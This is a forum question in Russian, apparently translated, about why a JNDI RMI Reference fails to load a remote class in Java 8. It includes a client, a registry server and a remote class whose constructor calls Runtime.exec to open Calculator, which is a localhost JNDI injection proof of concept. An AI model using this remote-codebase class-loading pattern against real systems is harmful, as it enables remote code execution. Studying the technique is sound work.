Ссылка JNDI RMI, ошибка загрузки удаленного класса .

#java #jndi #rmi

Вопрос:

моя версия java: 1.8.0_282

это клиент:

 import java.rmi.registry.*;
import javax.naming.*;


public class RegistryClient {
    public static void main(String[] args) throws Exception {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

        Context registry = new InitialContext();
        registry.lookup("rmi://127.0.0.1:1099/Demo");

        System.out.println("done");
    }
}
 

это сервер:

 import java.rmi.registry.*;
import javax.naming.*;
import com.sun.jndi.rmi.registry.ReferenceWrapper;


public class RegistryServer {

    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference refObj = new Reference(
            "xxx",
            "RMIRegistryDemoRemote",
            "http://127.0.0.1:8000/"
        );
        ReferenceWrapper hello = new ReferenceWrapper(refObj);

        registry.bind("Demo", hello);
        System.out.println("[!] server is ready");
    }

}
 

это интерфейс и реализация RMIRegistryDemo:

 import java.rmi.*;


public interface RMIRegistryDemo extends Remote {
    String sayHello(String name) throws Exception;
}
 
 import java.rmi.server.*;
import java.rmi.*;

public class RMIRegistryDemoImpl extends UnicastRemoteObject implements RMIRegistryDemo {

    public RMIRegistryDemoImpl() throws Exception {}

    String id = "10";

    @Override
    public String sayHello(String name) {
        System.out.println(id);
        return "Hi, "   name;
    }

}
 

это удаленный класс .:

 import java.io.IOException;

public class RMIRegistryDemoRemote {
    public RMIRegistryDemoRemote() throws IOException {
        final Process process = Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
    }
}
 

после:

  1. запустите сервер регистрации
  2. развернул веб-сервер для отправки RMIRegistryDemoRemote.class
  3. запустите RegistryClient

клиент просто печатает «готово», и в моем блоге нет журнала доступа:

 # overflow in ~/Downloads/test [16:16:44]
» javac RegistryClient.java amp;amp; java RegistryClient
done
 
 # overflow in ~/Downloads/test/remote [16:20:05]
» python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

 

что вызывает это?

Комментарии:

1. Вы забыли показать исключение или что-то еще, что заставляет вас думать, что «загрузка удаленного класса не удалась». Вам не нужно использовать com.sun.jndi.rmi.registry.ReferenceWrapper напрямую. JNDI восстановит его для вас, когда вы свяжетесь. Мне непонятно, зачем вы Reference вообще используете, или действительно JNDI. Ты, кажется, делаешь гору из мухи слона.